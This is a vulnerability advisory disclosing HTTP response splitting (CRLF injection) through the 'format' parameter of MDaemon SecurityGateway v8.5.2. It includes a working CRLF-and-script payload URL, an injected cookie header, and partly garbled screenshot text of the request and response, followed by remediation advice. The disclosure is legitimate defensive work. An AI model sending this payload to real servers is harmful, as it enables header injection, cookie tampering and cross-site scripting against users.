

Finding GTN-003: HTTP Response splitting through 'format' parameter

Severity: High Vendor of the product: MDaemon Technologies Product: SecurityGateway for Email Servers Version: v8.5.2 (64 bit) Researcher: Pankaj Kumar Thakur (Green Tick Nepal Pvt. Ltd.)

Details of Vulnerability:

HTTP Response Splitting occurs when a web server fails to sanitize CR and LF characters before the data is included in outgoing HTTP headers.

To launch a successful exploit, the application must be vulnerable to the injection of Carriage Return (CR, ASCII 13, \r) and Line Feed (LF, ASCII 10, \n) characters, which are used in the HTTP protocol to terminate a line, into the response header. This technique is also referred to as "CRLF Injection in HTTP Headers", and it gives attackers control of the remaining headers and body of the response that the application will send.

Impact:

The vulnerability allows the attacker to set arbitrary headers, take control of the body, or break the response into two or more separate responses. Impacts depend on the technological stack, with outcomes including Cross-Site Scripting, Cookie Injection, CORS Headers Injection, CSP Bypass, Cache Poisoning attacks, and many others.

Evidence:





6 MIME-Version: 1.0
7 Content-Type: text/csv; charset=utf-8
8 Content-Length: 0
9 Centent Disposition: attachment; filename="lists.csv
10 set-cookie: mycookie=hacked"
11 Fragma: No-cache
12 Expires: Thu, 01 Jan 1970 00:00:00 GMT
13 Connection: close
14

Trying to chain with XSS vulnerability, XSS was unable to execute because file was downloading

Payload

1.0

/SecurityGateway.dll?view=download&data=lists.html&format=%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E&blacklist=1&user=1

Request					
Pretty	Raw	Hex	=	\n	≡
%3f%0 nt.do 2 Host: 3 Cooki	0%0ALoca nain)%30 192.168 e: logir arams=	/Gateway.dll?view=download&data=lists.html&format= ation://x:l%OD%OAContent-Type:text/html%OD%OAX-XSS-Protection%3aO%OD%OA%OD%OA%3Cscrip C/script%3E&blacklist=l&user=1 HTTP/1.1 3.1.66:4000 m=pankaj@pankaj%2Cen; SecurityGateway=FMMQVDUIIDNFNZFN; navmenu=NavMyAccount; lastvie Close			



	Response =		Inspector 🔳 🗉	÷
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	1 HTTP/1.0 200 OK		Request Attributes	2
cume	2 X-Frame-Options: SAMEORIGIN 3 X-XSS-Protection: 1		Request Query Parameters	5
D;	4 Server: ALT-N SecurityGateway 8.5.2 5 Date: Sun, 29 May 2022 14:33:45 GMT 6 MIME-Version: 1.0		Request Body Parameters	0
	7 Content-Type: text/csv; charset=utf-8 8 Content-Length: 0 5 Content-Disposition. attachment, filename="lists.html.?		Request Cookies	5
	<pre>10 location://x:1 11 content-type:text/html 12 x-xss-protection:0</pre>	-	Request Headers	3
	17 14 <script> alert(document.domain) </script>	-	Response Headers	11
	15 Pragma: No-cache 16 Expires: Thu, 01 Jan 1970 00:00:00 GMT 17 Connection: close 18			

Suggested Remediation:

- As with other similar injection attacks, HTTP Response Splitting can be mitigated by performing appropriate server-side validation and escaping. The canonical ways are the following:
- Carefully validate and sanitize any user-provided content that might be used to compose response headers.
- Encode dangerous characters such as \r and \n.